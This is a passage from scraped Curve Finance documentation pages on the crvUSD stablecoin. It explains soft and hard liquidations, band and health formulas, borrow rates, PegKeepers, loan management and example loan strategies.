Borrowing crvUSD using WETH Soft-liquidation Applet This applet simulates how collateral is converted through a soft-liquidation range. Soft-liquidation Collateral Conversion Collateral Amount (ETH): Bottom of SL Range: Top of SL Range: Back to top", "labels": ["Documentation"]}, {"title": "Loan Concepts In Depth", "html_url": "https://resources.curve.fi/crvusd/loan-concepts/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth Loan Concepts In Depth Table of contents Market Parameters LLAMMA and Liquidations Hard Liquidations Bad Debt Bands (N) Band Formulae: Band Calculator Loan Health Health Calculator Loan Discount Borrow Rate PegKeeper crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Market Parameters LLAMMA and Liquidations Hard Liquidations Bad Debt Bands (N) Band Formulae: Band Calculator Loan Health Health Calculator Loan Discount Borrow Rate PegKeeper Home Curve Stablecoin (crvUSD) Loan Concepts In Depth Market Parameters Each crvUSD market has the following parameters which affect all loans and change automatically due to market forces: Base Price: The base price is the upper price limit of band number 0. Borrow rate increases the base price over time. Oracle Price: The oracle price is the current price of the collateral as determined by the oracle. The oracle price is used to calculate the collateral's value and the loan's health . Borrow Rate: The borrow rate is the annual interest rate charged on the loan. This rate is variable and can change based on market conditions. The borrow rate is expressed as a percentage. For example, a borrow rate of 7.62% means that the user will be charged 7.62% interest on the loan's outstanding debt. See here for how it's calculated. Each market also has the following parameters which only change if the CurveDAO votes them to change: A: The amplification parameter A is used to calculate the density of liquidity and band width, as well as the maximum LTV of a market. Loan Discount: The loan discount defines how much the collateral is discounted when taking a loan, it is directly related to the maximum LTV of each crvUSD market. See here for more information. Liquidation Discount: The liquidation discount is used to discount the collateral when calculating the health of the loan. See the health section for more information. Sigma: Sigma changes how quickly rates increase and decrease when crvUSD depegs. With a higher sigma interest rates will increase slower when crvUSD depegs. See here for more information. LLAMMA and Liquidations LLAMMA ( Lending-Liquidating AMM Algorithm ) is a fully functional two-token AMM containing the collateral token and crvUSD, which is responsible for the liquidation mechanism . For more detailed documentation, please refer to the technical docs . When creating a new loan, the put-up collateral will be deposited into a specified number of bands across the AMM . Unlike regular liquidation, which has a single liquidation price, LLAMMA has multiple liquidation ranges (represented by the bands) and continuously liquidates the collateral if needed . All bands have lower and upper price limits, each representing a \"small liquidation range.\" The user's total liquidation range is represented by the upper price of the highest band to the lower price of the lowest band. A loan only enters soft-liquidation mode once the price of the collateral asset is within a band . If the price is outside the bands, there is no need to partially liquidate and therefore not in soft-liquidation. The AMM works in a way that the collateral price within the AMM and the \"regular price\" are treated a bit differently. If the price falls into a band, prices are adjusted in a way that external arbitrageurs are incentivized to sell the collateral token and buy crvUSD in the band. So, if the price is within a band, the user's collateral will be sold for crvUSD , meaning the user's collateral is now a combination of both tokens. This happens for each individual band the user has liquidity deposited into. This liquidation process does not only happen when prices fall but also when they rise again . If the collateral in a band has been fully converted into crvUSD and the collateral price rises again, the earlier sold-off collateral will be bought up again. In short: External traders will soft-liquidate a users collateral when the collateral token's price is falling and de-liquidate it again when prices rise again. Losses in Soft-Liquidation Positions in soft-liquidation / de-liquidation are suffering losses due to the selling and buying of collateral. If the position is not in soft-liquidation, no losses occur. These losses decrease the health of the loan. Once a user's health is at 0%, the user's position may face a hard-liquidation, which closes the loan. Hard Liquidations Hard liquidations occur when the health of a loan falls below 0%, allowing a liquidator to liquidate the loan. Anyone can act as a liquidator and liquidate eligible loans, but this is typically done by searchers. When a liquidator initiates the process, the following occurs within a single transaction, using a market with WETH collateral and crvUSD debt as an example: Any collateral which has been swapped to crvUSD in soft liquidation is transferred to Curve and removed from the user. The remaining crvUSD debt is repaid to Curve by the liquidator. The liquidator receives the remaining WETH collateral as a reward, which is normally more than the amount repaid. This process is illustrated in the image below: Bad Debt Bad debt occurs when a loan is not profitable to liquidate . This could happen for many reasons, including gas prices being higher than the profit from a liquidation, a sequencer being down on an L2, or simply no one searching for profitable liquidations in a new market. It looks like the following: In this example no rational liquidator will begin the liquidation process because they will lose value by doing so. crvUSD is only minted on Ethereum and uses high-quality assets with strong liquidity to mitigate the risk of bad debt. Due to these precautions, bad debt is not expected to occur within the crvUSD minting system . However, bad debt can and has occurred within specific Curve Lending markets, as they are permissionless and do not affect the integrity of the crvUSD stablecoin. Bands (N) When creating a loan, the added collateral is spread among the number of bands selected. Minimum amount is 4 bands, and the maximum amount is 50 bands. A band essentially is a price range, with an upper and lower price limit . If the price of the collateral is within the limits of a band, that particular band is likely to be liquidated. Note that band price ranges drift higher over time as base price increases by the borrow rate In the illustration above, there are multiple bands with different price ranges. The light grey areas represent the collateral token, which in this example is ETH. As depicted, the bands below the collateral token's price are entirely in ETH since there is no need for liquidation, given the higher price. The dark grey areas represent crvUSD. Because the price of ETH fell within the band on the far right, the deposited collateral (ETH) is converted into crvUSD. In this instance, the band consists of both ETH and crvUSD. If the price continues to decline, all collateral in the band will be fully converted into crvUSD, and the band to the left will undergo soft-liquidation. Remember: When prices rise again, the opposite is happening. The ETH which was converted into crvUSD earlier will be converted back into ETH again. A band which has fully been soft-liquidated. All collateral was converted into crvUSD because the price of the collateral is below the liquidation range. A band which currently is in soft-liquidation. It contains both, the collateral token and crvUSD. A band which has not been liquidated yet (composition is 100% collateral token). The price of the collateral is above the liquidation range. Band Formulae: A controls the density of the liquidity. This is directly related to the width of the bands. Band width at any price can be estimated to be: \\[\\text{bandwidth} \\approx \\frac{\\text{price}}{\\text{A}}\\] To find the exact upper price limit and lower price limits of the bands the following formulae can be used: \\[\\begin{aligned} \\text{upperLimit} &= \\text{basePrice} * \\left( \\frac{A-1}{A} \\right)^{n} \\\\ \\text{lowerLimit} &= \\text{basePrice} * \\left( \\frac{A-1}{A} \\right)^{n+1}\\end{aligned}\\] Where: \\(\\text{basePrice}\\) : The current base price of the desired market \\(A\\) : The amplification factor of the desired market (default is 100) \\(n\\) : The Band Number, e.g., \\(-\\) 67. Band Calculator Use the calculator below to simulate how bands are shaped and how liquidity density changes with different parameters. By definition the liquidity density will be 100% at band 1. Liquidity density increases as band width decreases, because the same amount of collateral will be spread over a smaller price range. Inputs: A : N : Base Price ($): Loan Health Based on a user's collateral and debt amount, the UI will display a health score and status. If the position is in soft-liquidation mode, an additional warning will be displayed. Once a loan reaches 0% health , the loan is eligible to be hard-liquidated . In a hard-liquidation, someone else can pay off a user's debt and, in exchange, receive their collateral. The loan will then be closed. The health of a loan decreases when the loan is in soft-liquidation mode. These losses do not only occur when prices go down but also when the collateral price rises again, resulting in the de-liquidation of the user's loan. This implies that the health of a loan can decrease even though the collateral value of the position increases. If a loan is not in soft-liquidation mode, then no losses occur. Losses are hard to quantify. There is no general rule on how big the losses are as they are dependent on various external factors such as how fast the collateral price falls or rises or how efficient the arbitrage is. But what can be said is that the losses heavily depend on the number of bands used; the more bands used, the fewer the losses. Daily losses based on current data are shown here . The formula for health is below, this is visualized in the Health Calculator applet as well. \\[\\begin{aligned} \\text{health} &= \\frac{s \\times (1-\\text{liqDiscount}) + p}{\\text{debt}} - 1 \\\\ p &= \\text{collateral} \\times \\text{priceAboveBands} \\end{aligned}\\] Where: \\(\\text{collateralValue}\\) : the value of all collateral at the current LLAMMA prices \\(\\text{liqDiscount}\\) : the liquidation discount for the market (how much to discount the collateral value for safety during hard-liquidation). \\(\\text{debt}\\) : the debt of the user \\(s\\) : an estimation of how much crvUSD a user would have after converting all collateral through their bands in soft-liquidation. This can be very roughly estimated as: \\(\\text{collateral} \\times \\left( \\frac{\\text{softLiqUpperLimit} - \\text{softLiqLowerLimit}}{2} \\right)\\) \\(p\\) : The value above the soft-liquidation bands. Found by multiplying the amount of collateral by how far above soft-liquidation the current price is. If user is in or below soft-liquidation, this value is 0. \\(\\text{collateral}\\) - The amount of collateral a user has, e.g., if a user has 5 wBTC, this value is 5. \\(\\text{priceAboveBands}\\) - The price difference between the oracle price and the top of the user's soft-liquidation range (upper limit of top band). This value is 0 if user is in soft-liquidation. See applet below for a visual representation. \\(\\text{collateralPrice}\\) - The price of a single unit of the collateral asset, e.g., if the collateral asset is wBTC, this value is the price of 1 wBTC. Health Calculator Use the applet below to simulate how health works, soft-liquidation losses are given as numbers in a comma separated list, the first number is the starting band onwards. The light blue shaded areas in the bands represent the value without using the soft-liquidation discounts, while the dark blue areas are the values after discounting. Inputs: A: Starting Band: Oracle Price ($): Collateral Amount: Debt ($): Base Price ($): Finish Band: Liquidation Discount %: Soft Liquidation Losses (%): Health (including value above bands): Health (not including value above bands): The Curve UI will either show health adding value above bands or without that value based on how close to liquidation a user is. If the active band (Oracle price band) is 3 or less bands away from the user's soft liquidation bands, the UI will show the health not including value above bands. Otherwise it will show the health including the value above bands. The health values on the Curve UI and within smart contracts will always be slightly less than the values here. Health is calculated by estimating the amount of crvUSD/debt tokens the collateral will be swapped for in each band. This takes into account how much liquidity is in each band, the more liquidity in a band the less slippage Curve estimates will occur. This slippage estimation slightly reduces a user's health. Loan Discount The loan_discount is used for finding the maximum LTV a user can have in a market. At the time of writing in crvUSD markets this value is a constant 9%, in Curve Lending markets this value ranges from 7% for WETH to 33% for volatile assets like UwU. Use the calculator below to see the maximum LTVs a user can have based on the loan_discount , and amplification factor A (with 4 bands, N=4). The formula is: \\[\\text{maxLTV} = \\left(\\frac{A - 1}{A}\\right)^2 \\times (1 - \\text{loan_discount})\\] Maximum LTV Calculator Inputs: A: Loan Discount % : Result Maximum LTV: Borrow Rate The general idea is that borrow rate increases when crvUSD goes down in value and decreases when crvUSD goes up in value . Also, contracts called PegKeepers can also affect the interest rate and crvUSD peg by minting and selling crvUSD or buying and burning crvUSD. The formula for the borrow rate is as follows: \\[\\begin{aligned}r &= \\text{rate0} * e^{\\text{power}} \\\\ \\text{power} &= \\frac{\\text{price}_\\text{peg} - {\\text{price}_\\text{crvUSD}}}{\\text{sigma}} - \\frac{\\text{DebtFraction}}{\\text{TargetFraction}} \\\\ \\text{DebtFraction} &= \\frac{\\text{PegKeeperDebt}}{\\text{TotalDebt}}\\end{aligned}\\] with: \\(r\\) : The interest rate. \\(\\text{rate0}\\) : The rate when PegKeepers have no debt and the price of crvUSD is exactly 1.00. \\(\\text{price}_\\text{peg}\\) : Desired crvUSD price: 1.00 \\(\\text{price}_\\text{crvUSD}\\) : Current crvUSD price. \\(\\text{sigma}\\) : variable which can be configured by the DAO, lower value makes the interest rates increase and decrease faster as crvUSD loses and gains value respectively. \\(\\text{DebtFraction}\\) : Ratio of the PegKeeper's debt to the total outstanding debt. \\(\\text{TargetFraction}\\) : Target fraction. \\(\\text{PegKeeperDebt}\\) : The sum of debt of all PegKeepers. \\(\\text{TotalDebt}\\) : Total crvUSD debt across all markets. A tool to experiment with the interest rate model is available here . PegKeeper A PegKeeper is a contract that helps stabilize the crvUSD price. PegKeepers are deployed for special Curve pools, a list of which can be found here . PegKeepers take certain actions based on the price of crvUSD within the pools. All these actions are fully permissionless and callable by any user. When the price of crvUSD in a pool is above 1.00, they are allowed to take on debt by minting un-collateralized crvUSD and depositing it into specific Curve pools. This increases the balance of crvUSD in the pool, which consequently decreases its price. If a PegKeeper has taken on debt by depositing crvUSD into a pool, it is able to withdraw those deposited crvUSD from the pool again. This can be done when the price is below 1.00. By withdrawing crvUSD, its token balance will decrease and the price within the pool increases. More on PegKeepers here Back to top", "labels": ["Documentation"]}, {"title": "Loan Creation & Management", "html_url": "https://resources.curve.fi/crvusd/loan-creation/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Loan Creation & Management Table of contents Loan Creation Loan Management Loan Details Advanced Loan Creation & Management Leveraged Loans Deleveraging Loans Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Loan Creation Loan Management Loan Details Advanced Loan Creation & Management Leveraged Loans Deleveraging Loans Home Curve Stablecoin (crvUSD) Loan Creation & Management Loan Creation In standard mode, creating a loan with crvUSD involves specifying a certain amount of a collateral asset and determining the quantity of crvUSD to borrow. After the collateral amount is set, the interface displays the maximum amount of crvUSD that can be borrowed, along with the health and borrow rate of the loan. The user interface (UI) features a dropdown menu for viewing additional loan parameters, such as the current Oracle Price and Borrow Rate . Loan Management Everything needed to manage a loan is available in this interface. The features include: Loan This tab provides options to Borrow more crvUSD, Repay debt, or Self-liquidate a loan Collateral Options to add or remove collateral from a loan are available here. Deleverage This tab facilitates loan deleveraging. Find more details here . Loan Details The Your Loan Details tab shows all the information about your personal loan: When a user creates a loan, their collateral is allocated across a number of bands (liquidation range) . Should the asset price fall within this range, the loan will enter soft-liquidation mode. In this state, the user is not allowed to add additional collateral. The only recourse is to either repay with crvUSD or to self-liquidate the loan. When a position was or is in soft-liquidation mode, losses occur. The UI displays these losses in 3 ways: LOSS AMOUNT is how much you've lost in soft-liquidation in collateral format, e.g. 0.001 ETH. % LOST is percentage of deposited collateral you've lost in soft liquidation. COLLATERAL CURRENT BALANCE (EST.) / DEPOSITED shows your current collateral minus any losses compared to the amount deposited. The LLAMMA BALANCES section shows the breakdown of your current loan collateral. For example, in the above picture there is 0.01 ETH and 0 crvUSD. If the user was in soft-liquidation some of the collateral would be swapped to crvUSD to protect from further price decreases, and this would reduce the current ETH balance and increase the crvUSD balance. Soft-Liquidation Mode During soft-liquidation , users are unable to add or withdraw collateral. They can choose to either partially or fully repay their crvUSD debt to improve their health or decide to self-liquidate their loan if their collateral composition contains sufficient crvUSD to cover the outstanding debt. If they opt for self-liquidation, the user's debt is fully repaid and the loan will be closed. Any residual amounts are then returned to the user. If their health declines to 0, they are hard-liquidated and lose their collateral but keep their debt. Advanced Loan Creation & Management In the upper right-hand side of the screen, there is a toggle button for advanced mode. In advanced mode the UI shows more information about the Collateral Bands for your personal loan: Advanced mode also adds a tab with info about the LLAMMA Bands for all loans together: It also expands the loan creation interface by displaying the liquidation and band range , number of bands , borrow rate , and Loan to Value ratio (LTV) . Additionally, users can manually select the number of bands for the loan by pressing the adjust button and using the slider to increase or decrease the number of bands. Tip A higher number of bands generally results in fewer losses when the loan is in soft-liquidation mode, see here . The maximum number of bands is 50, while the minimum is 4. Leveraged Loans The UI offers a leveraging feature for loans, accessible by navigating to the Leverage tab. More information on how to deleverage a loan here . Leverage Collateral can be leveraged up to 9x , depending on the number of bands chosen. If a user wants to use the maximum leverage (9x), they loan will have the minimum number of bands (4). Using the highest number of bands (50) only allows for a leverage of up to 3x. For the consequences of using different numbers of bands, see here . The process of leveraging effectively involves repeat trading of crvUSD for collateral and depositing it to maximize the collateral position . Essentially, all borrowed crvUSD is utilized to acquire more collateral. Warning Caution is advised, as a dip in the collateral price would necessitate repaying the entire amount to reclaim the initial position. A good explainer how leveraging works Toggling the advanced mode expands the display to show additional information about the loan, including the price impact, trade route and the actual leverage. Deleveraging Loans Deleveraging a loan irrespective of it being leveraged is an option available through the UI. Users must navigate to the Deleverage tab and input the amount of collateral they intend to allocate for deleveraging. This particular collateral is then converted into crvUSD, which is used to facilitate debt repayment. Info When a user's loan is in soft-liquidation, deleveraging is only possible if the loan is fully repaid. Apart from that, the loan can typically be self-liquidated. If the position is not in soft-liquidation, the user can deliberately deleverage by any chosen amount. The UI will provide the user with their updated loan details, such as liquidation and band range, borrow rate, and health, as well as the LLAMMA changes of collateral and debt. Back to top", "labels": ["Documentation"]}, {"title": "Loan Strategies & Management", "html_url": "https://resources.curve.fi/crvusd/loan-strategies/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Strategies Table of contents Soft Liquidation Losses Managing Loan Health Loan Examples Careful and Passive Loan Example Careful and Active Loan Example High Risk and Active Loan Example High Risk and Passive Loan Example (Hard-liquidation) Under Soft-Liquidation Loan Example Strategies Borrowing to Lending Rate Arbitrage Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Soft Liquidation Losses Managing Loan Health Loan Examples Careful and Passive Loan Example Careful and Active Loan Example High Risk and Active Loan Example High Risk and Passive Loan Example (Hard-liquidation) Under Soft-Liquidation Loan Example Strategies Borrowing to Lending Rate Arbitrage Home Curve Stablecoin (crvUSD) Loan Strategies & Management Before taking a crvUSD loan a user should consider two factors that will influence how they structure their loan: How much risk they would like to take? What management style will they employ? Will they be actively managing their loan i.e., adding, removing collateral and repaying debt. Or will they be passively taking a loan and leaving it in LLAMMA's hands? Risk and Management styles can be thought of as spectrums, and they can be visualized in the image below. The above image shows 4 main quadrants: High risk and Passive : This is a dangerous strategy, users employing this strategy typically max borrow and make very little changes to the loan until they close or are hard-liquidated. Some users are lucky and do well, but many are hard-liquidated. Use at your own risk. High risk and Active : Users with these loans are borrowing close to the maximum allowed, and actively adding and removing collateral, and debt as required to keep a loan healthy. Careful and Passive : These loans are typically at low LTV ratios so their soft-liquidation ranges are far below the current price. These loans generally don't need much management and users may only alter their loans after significant price changes. Careful and Active : Users borrow at low LTV ratios but actively manage the loans by adding and removing capital and debt as required to keep away from soft-liquidation. Example loans for each of the 4 quadrants are given in the loan example section here . The section directly below shows soft-liquidation losses based on user data, so prospective users can estimate losses. Actively managing loans is gas intensive Actively managing loans is expensive when factoring in gas usage, loan size needs to be sufficient to offset this expense. As a general rule allow \\(\\text{USD} \\approx \\text{gasPrice} \\times 4\\) to add collateral or repay debt, e.g. if gasPrice is 10 gWei allow $40 to add collateral or repay debt. Soft Liquidation Losses The data from all crvUSD loans so far has shown that for each band range a user can expect the following losses in the table below. Loss amount doesn't seem to be affected by the collateral asset used (i.e., losses from wBTC seem to be the very similar as wstETH). The band range was the biggest factor in how a user performed. The histogram and table below show soft-liquidation losses are generally very low , but keep in mind that high volatility periods can cause double digit losses. Note: you can show and hide any band ranges by clicking on them in the legend . Use percent of data for y axis Use days of data (time) for y axis band range days of soft liq data min loss/day median loss/day mean loss/day std loss/day max loss/day 4-9 4601.17 0% 0.0927% 0.93% 2.18% 38.93% 10-19 2248.19 0% 0.0331% 0.62% 1.98% 43.06% 20-35 124.92 0% 0.0127% 0.20% 0.54% 6.41% 36-50 114.99 0% 0.0004% 0.11% 0.30% 3.98% Using more bands ( \\(\\uparrow\\) N) reduce your soft-liquidation loss per day but increase the time in soft-liquidation, while also reducing the total amount a user can borrow . It is up to the user to choose a comfortable number of bands which allows them to borrow their required amount. The above results are from the notebook here Managing Loan Health Loan health is a direct measure of the risk of a loan . The lower the loan health, the riskier the loan. To keep from being hard-liquidated, a loan must have a health above 0. There are 2 factors which influence the health of a loan: LTV (Loan-To-Value ratio) - More collateral and less debt increases the health of the loan Increasing the a distance as shown on the figure here . This can be done in 2 ways: reducing the number of bands, reducing the amount borrowed. There are 2 ways of increasing the health of a loan: Repaying debt Adding collateral However if a loan is in soft-liquidation collateral cannot be added, debt must be repaid to increase the health. Loan Examples All the charts provided in this section are interactive. Click on different items in the legend to show/hide that plot. Here's a list of the plots that can be shown/hidden and their meaning: Value (Left Axis) plots : These plots only relate to the left axis, the percentage axis has no meaning for them . Oracle Price : The oracle price for 1 unit of the chosen deposited collateral asset (e.g., 1 wBTC, 1 wstETH, etc) Soft-Liquidation Price Range : This is the soft-liquidation price range of the user. This can also be thought of as all the small band ranges together. This drifts higher over time with the Interest Rate . CV in : The collateral value in the deposited asset (e.g., wstETH, wBTC, etc). CV in crvUSD : The value of the crvUSD held as collateral. is swapped to crvUSD through the soft-liquidation process to protect from further declines in price. Total CV : Total Collateral Value. CV in plus CV in crvUSD . Debt Value : The total amount of debt owed (this includes interest) AAVE/Spark Liq Price : The price at which this loan would be liquidated in AAVE/Spark. When the Oracle Price is lower than this price, the loan would be liquidated/not possible. Percentage (Right Axis) plots : These plots only relate to the right axis, the value axis has no meaning for them LTV : The loan to value ratio, this is the Debt Value divided by the Total CV . Health : The health factor of the loan, a loan is Hard-liquidated when this gets to 0, see here for more info. % CV in : The percentage of Total CV currently in the deposited collateral asset (e.g., wstETH, wBTC, etc). This is CV in divided by Total CV . % CV in crvUSD : The percentage of Total CV currently swapped to crvUSD. This is CV in crvUSD divided by Total CV . % SL Collateral Loss : The percentage of collateral lost to soft-liquidation. See here for more information. % Interest Collateral Loss : The collateral loss due to interest accruing on the debt. This amount is included in the Debt Value plot. % Total Collateral Loss : % SL Collateral Loss plus % Interest Collateral Loss . % Max Deposited Collateral : This is the percentage of the current deposited collateral vs. the maximum that will get deposited over the life of the loan. This is shown as a percentage so it can be represented along side other plots. This is just to show the magnitude and timing of deposits/withdrawals, not exact amounts. An example would be if there were 20 wstETH deposited at the beginning, but the user deposits another 5 (total 25 wstETH) at another point without withdrawing any, this value will be start at \\(20/25=80\\%\\) . Interest Rate : The current borrow interest rate for the market. Careful and Passive Loan Example This user deposited 188 wBTC as collateral. They borrowed 1.05 million crvUSD . They were very careful and only borrowed with a 21% LTV . They used N=10 . As you can see from above the user remained passive as they were far from soft-liquidation at all times. They only fee they incurred was from the borrow interest rate increasing their debt, but luckily wBTC price went up fast enough to offset that. Throughout the approx. 100 day duration of the loan they increased their loan to 1.27 million crvUSD but their LTV actually went down as wBTC price went up ~30%. This is a good strategy for loans less than 10,000 crvUSD as gas costs for managing the loan are minimal. Careful and Active Loan Example This loan was opened with N=50 , 93 sfrxETH collateral , 105500 crvUSD debt . This was a LTV of 67% . This user starts with 105k crvUSD debt, but slowly over time adds collateral and borrows more debt. Ending with 219 sfrxETH collateral and 298k crvUSD debt. They actively managed to stay out of soft-liquidation, and spend 0.56 ETH of fees on 32 transactions over this 2 month period. The only fees they incurred were from borrowing interest and Ethereum transactions fees. This loan LTV is possible in other systems, but soft-liquidations aren't. Soft-liquidations reassure the user that they are protected from sudden price drops . High Risk and Active Loan Example This user opened their loan using N=4 , deposited 20 wstETH , and borrowed 32600 crvUSD . This equated to an 85% LTV . The user with the loan pictured above is tracked over a period of ~102 days, during which they actively managed their loan to maintain an LTV around 85%. By taking a crvUSD loan, the user locked in 85% of the value of wstETH instantly while still benefiting from price increases on wstETH. This loan would not have been possible on other platforms due to the LTV of the wstETH collateral. The user fell into soft-liquidation around the 15-day mark and experienced health erosion, the user repaid 10% of their debt on the 18 th day, restoring their health. As the price of wstETH rose around the 70-day mark, the user decided to borrow more, changing their soft-liquidation range. They quickly repaid the newly added debt after falling into soft-liquidation in this higher range. Around the 85 th day, the user chose to add more collateral and increased their debt. Throughout this period, the user seemed comfortable in soft-liquidation, only losing ~22% of their collateral from soft-liquidation and borrowing interest. Their collateral was fully swapped to crvUSD multiple times, protecting them from further price declines. LLAMMA saved the user from hard-liquidation that would have occurred in any other system, which can be seen by making the AAVE/Spark Liquidation Price plot visible. Even after reducing the LTV on the 18 th day, the user would have been liquidated on other platforms by the two wicks below $1767 on the 25 th and 55 th days, preventing them from recouping value during the subsequent price appreciation. This loan shows that actively managing high risk loans can result in outcomes not possible in any other system . High Risk and Passive Loan Example (Hard-liquidation) This loan was opened with N=4 , 5.95 wstETH collateral , 10500 crvUSD debt . This was a LTV (Loan-To-Value) of 84% . The user almost max borrowed. Putting their liquidation range very close to the current price. They stayed above their soft-liquidation range for a long time before falling into soft liquidation on day 50. They quickly fell through soft liquidation to the safety on the other side but lost 3.1% to soft liquidation fees. At any time from day 50 to day 62 they could have repaid debt to increase their health. As they were passive and did nothing soft-liquidation fees reduced their health to 0 when going back up through their soft-liquidation range. This is an unfortunate situation where the increasing collateral price caused hard-liquidation. Use this strategy at your own risk Users in this quadrant are at the highest risk of hard-liquidation. Using this strategy is not advised. Under Soft-Liquidation Loan Example This loan started with 57.07 wstETH collateral , with N=4 and 102k crvUSD debt . They paid off small amounts of debt a few times throughout the loan and finished with 93.5k crvUSD debt and 53.44 wstETH collateral . This loan is a great example of the power of LLAMMA and soft-liquidations. The user spent more than 50% of the loan time under the soft-liquidation range . Yet the loss from soft-liquidation fees was only 6.37% . While under the soft-liquidation range the user was shielded from any further losses in the wstETH price as all their collateral was converted to crvUSD. Yet when the price rose the user benefited from price increases as their collateral was swapped back to wstETH. The AAVE/Spark Liq price plot for this loan shows that this loan would not be possible in competitor systems except from the 91 st day when debt was lower and wstETH price rose. Strategies Borrowing to Lending Rate Arbitrage As crvUSD is minted with high quality collateral in crvUSD markets, a user can usually make profit by minting crvUSD and supplying it elsewhere, especially to riskier markets. This strategy is simple, you borrow crvUSD and supply it at higher rates, making the difference: \\[\\text{profitRate = supplyRate - borrowRate}\\] Strategy: Supply collateral (e.g., ETH, wBTC, wstETH) to a crvUSD market Borrow crvUSD Supply crvUSD to a market with a higher supplying rate than crvUSD borrow rates, e.g., Curve Lending Markets , Conic Omnipools , Silo Finance Markets . Risks: The user must monitor their loan health to stay out of any liquidations (soft or hard) as losses from liquidation may be larger than profit from the rate arbitrage. crvUSD risk, i.e., smart contract risk from crvUSD stablecoin and the crvUSD markets, see crvUSD risk disclaimer here Smart contract and bad debt risk from lending markets, i.e., if you supply to Curve lending, see Curve Lending risk disclaimer here . Otherwise please research and be informed of risks for other platforms. Mentions of platforms here is not an endorsement of their safety. Back to top", "labels": ["Documentation"]}, {"title": "Understanding crvUSD", "html_url": "https://resources.curve.fi/crvusd/understanding-crvusd/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Understanding crvUSD 